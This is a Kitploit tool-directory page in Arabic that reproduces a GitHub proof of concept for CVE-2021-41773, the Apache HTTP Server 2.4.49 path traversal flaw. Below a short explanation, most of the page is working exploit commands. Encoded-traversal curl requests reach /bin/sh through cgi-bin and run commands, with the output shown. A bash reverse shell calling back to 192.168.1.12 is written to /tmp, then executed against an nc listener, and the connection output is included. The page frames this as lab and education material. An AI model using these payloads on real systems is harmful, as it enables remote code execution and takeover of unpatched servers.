Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2021-41773 — الثغرة الأولى ذات المعرّف CVE-2021-41773 هي خلل في اجتياز المسار موجود في Apache HTTP Server 2.4.49. | Kitploit
أدوات/GitHubGitHub/ludovicpatho/cve-2021-41773
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليمأداة الوصول عن بعد
GitHubludovicpatho/cve-2021-41773

CVE-2021-41773

الثغرة الأولى ذات المعرّف CVE-2021-41773 هي خلل في اجتياز المسار موجود في Apache HTTP Server 2.4.49.

عرض المستودع
43منذ 3 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2021-41773

🐛 ثغرة اجتياز المسار وكشف الملفات في خادم Apache HTTP Server 2.4.49

تم العثور على خلل في تغيير أُجري على تطبيع المسار (path normalization) في Apache HTTP Server 2.4.49. يمكن للمهاجم استخدام هجوم اجتياز المسار لربط عناوين URL بملفات خارج الدلائل التي تم تكوينها عبر توجيهات شبيهة بـ Alias.

إذا لم تكن الملفات خارج هذه الدلائل محمية بالإعداد الافتراضي المعتاد "require all denied"، فقد تنجح هذه الطلبات. إذا كانت سكربتات CGI مفعّلة أيضًا لهذه المسارات المُعرفة عبر Alias، فقد يسمح ذلك بتنفيذ الأكواد عن بُعد.

من المعروف أن هذه الثغرة تُستغل في البيئة الفعلية.

تؤثر هذه المشكلة على Apache 2.4.49 فقط وليس على الإصدارات الأقدم.

المصدر

اجتياز المسار

نظرة عامة

يهدف هجوم اجتياز المسار (المعروف أيضًا باسم directory traversal) إلى الوصول إلى الملفات والدلائل المخزنة خارج مجلد جذر الويب. من خلال التلاعب بالمتغيرات التي تشير إلى ملفات باستخدام تسلسلات “dot-dot-slash (../)” واختلافاتها أو باستخدام مسارات ملفات مطلقة، قد يكون من الممكن الوصول إلى ملفات ودلائل عشوائية مخزنة على نظام الملفات بما في ذلك الكود المصدري للتطبيق أو ملفات التكوين وملفات النظام الحرجة. تجدر الإشارة إلى أن الوصول إلى الملفات محدود بنظام التحكم في الوصول التشغيلي للنظام (كما في حالة الملفات المقفلة أو قيد الاستخدام على نظام التشغيل Microsoft Windows).

يُعرف هذا الهجوم أيضًا باسم “dot-dot-slash” و"directory traversal" و"directory climbing" و"backtracking".

إثبات المفهوم

إعداد بيئة إثبات المفهوم

root@kitploit:~
$ docker-compose build
$ docker-compose up

تأكيد أنه يعمل

root@kitploit:~
$ curl http://localhost:1234
<html><body><h1>It works!</h1></body></html>

الاستغلال

الضحية : localhost:1234
المهاجم : 192.168.1.12

وفقًا للتوثيق، هذا خلل يسمح لنا بتنفيذ الأكواد على جهاز بعيد (RCE).
يمكننا استغلاله عبر تنفيذ curl مع مجلد cgi-bin.

root@kitploit:~
$ curl 'http://<victim_ip>/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; <command>'
  • 1. RCE
    لنرَ ما إذا كان لدينا فعليًا وصول إلى الأوامر، مثل id :

    root@kitploit:~
    $ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; id'
    uid=1(daemon) gid=1(daemon) groups=1(daemon)
    
  • 2. قشرة عكسية (Reverse Shell)
    سنختبر قشرة عكسية عن طريق إنشاء ملف bash على خادم الضحية.
    لنأخذ كمثال القشرة العكسية بلغة bash الموجودة في مستودع PayloadsAllTheThings.

    إليك مثالًا:
    bash -i >& /dev/tcp/10.0.0.1/4242 0>&1

    لننشئ الملف vuln.sh على جهاز الضحية في مجلد /tmp/!
    سيحتوي هذا الملف على القشرة العكسية التي يمكننا تشغيلها عن بُعد. ستتصل بجهازنا المحلي على المنفذ 44.

    root@kitploit:~
    $  curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; echo "#!/bin/bash\nbash -i >& /dev/tcp/192.168.1.12/44 0>&1" > /tmp/vuln.sh'
    

    يمكنك التحقق من محتويات الملف باستخدام الأمر cat

المراجع

  • https://httpd.apache.org/security/vulnerabilities_24.html
  • https://github.com/apache/httpd/commit/98246aa96079dad5f7b20521bbc0142a04f1c5e7
تنزيل الأداة
root@kitploit:~
$ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; cat /tmp/vuln.sh'
#!/bin/bash
bash -i >& /dev/tcp/192.168.1.12/44 0>&1
  • 3. مستمع باستخدام ncat
    لننشئ المستمع على الجهاز المحلي.

    root@kitploit:~
    $ nc -lvnp 44
    

    كل ما تبقى هو تنفيذ الملف البعيد.

    root@kitploit:~
    $ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:
    text/plain; echo; bash /tmp/vuln.sh'
    

    الاستجابة:

    root@kitploit:~
    Ncat: Version 7.91 ( https://nmap.org/ncat )
    Ncat: Listening on :::44
    Ncat: Listening on 0.0.0.0:44
    Ncat: Connection from 172.19.32.1.
    Ncat: Connection from 172.19.32.1:58963.